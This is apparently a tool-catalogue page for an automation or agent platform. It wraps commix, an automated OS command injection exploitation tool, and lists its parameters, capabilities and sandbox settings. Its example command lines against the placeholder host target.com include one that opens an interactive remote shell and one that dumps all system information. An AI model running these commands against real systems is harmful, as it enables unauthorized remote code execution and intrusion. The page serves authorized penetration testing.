security enabled verified high v1.0.0

commix

Automated command injection exploitation tool for testing and exploiting OS command injection vulnerabilities.

📋 Live Preview

commix -u {target} --batch

🌍 target → url

commix -u {target} --batch

Sandbox: execFile · Timeout: 600s

Capabilities

web.injection.command

web.exploitation.rce

security.exploit.command

web.discovery.injection

Parameters

Name	Type	Required	Default	Description	Aliases
`url`	string	Yes	-	Target URL (-u)	`-u`
`data`	string	No	-	POST data string (--data)	`--data`
`headers`	string	No	-	Custom HTTP headers (-H)	`-H`
`cookie`	string	No	-	HTTP Cookie header (--cookie)	`--cookie`
`user-agent`	string	No	-	Custom User-Agent (--user-agent)	`--user-agent`
`referer`	string	No	-	HTTP Referer header (--referer)	`--referer`
`os`	string	No	-	Target OS (--os)	`--os`
`method`	string	No	GET	HTTP method to use (--method)	`--method`
`payload`	string	No	-	Custom injection payload (--payload)	`--payload`
`technique`	string	No	-	Injection technique to use (--technique)	`--technique`
`level`	integer	No	1	Level of tests 1-3 (--level)	`--level`
`batch`	boolean	No	-	Never ask for user input (--batch)	`--batch`
`shell`	boolean	No	-	Obtain an interactive shell (--shell)	`--shell`
`delay`	integer	No	0	Delay between requests (--delay)	`--delay`
`proxy`	string	No	-	Proxy URL (--proxy)	`--proxy`
`all`	boolean	No	-	Retrieve all information	`--all`
`encoding`	boolean	No	-	Payload encoding	`--encoding`
`output_dir`	boolean	No	-	Output directory	`--output-dir`
`tamper`	boolean	No	-	Tamper script	`--tamper`

Artifacts

Type	Description	MIME	Schema	Trust
`web.exploit.command.shell`	Shell session artifacts	text/plain	-	verified

Contract

Inputs

web.target.url

Target URL with injectable parameter

Outputs

web.injection.command.results

Command injection test results

Side effects: network_trafficprocess_spawn

Workflow Edges

Produces

web.injection.command.results

Consumes

web.target.url

Resource Profile

Resource	Value
CPU	medium
Memory	128 MB
Network	medium
Disk I/O	low

Examples

Basic command injection test

commix -u "http://target.com/page.php?cmd=ls" --batch

Test with POST data

commix -u "http://target.com/search" --data "q=test" --batch

Get interactive shell

commix -u "http://target.com/page.php?cmd=ls" --shell

With custom headers and cookie

commix -u "http://target.com/page.php?cmd=ls" -H "X-Custom: value" --cookie "PHPSESSID=abc123" --batch

Use proxy

commix -u "http://target.com/page.php?cmd=ls" --proxy "http://127.0.0.1:8080" --batch

Documentation

Commix — Automated Command Injection

Commix (Command Injection Exploiter) is an automated tool for detecting and exploiting command injection vulnerabilities in web applications.

Basic Usage

# Simple GET parameter test
commix -u "http://target.com/page.php?cmd=ls" --batch

# POST data test
commix -u "http://target.com/search" --data "q=test" --batch

Exploitation

# Get interactive shell
commix -u "http://target.com/page.php?cmd=ls" --shell

# Dump all available info
commix -u "http://target.com/page.php?cmd=ls" --all --batch

Techniques

Technique	Description
`--technique=classic`	Classic command injection
`--technique=eval`	Code evaluation injection
`--technique=file-based`	File-based injection
`--technique=all`	All techniques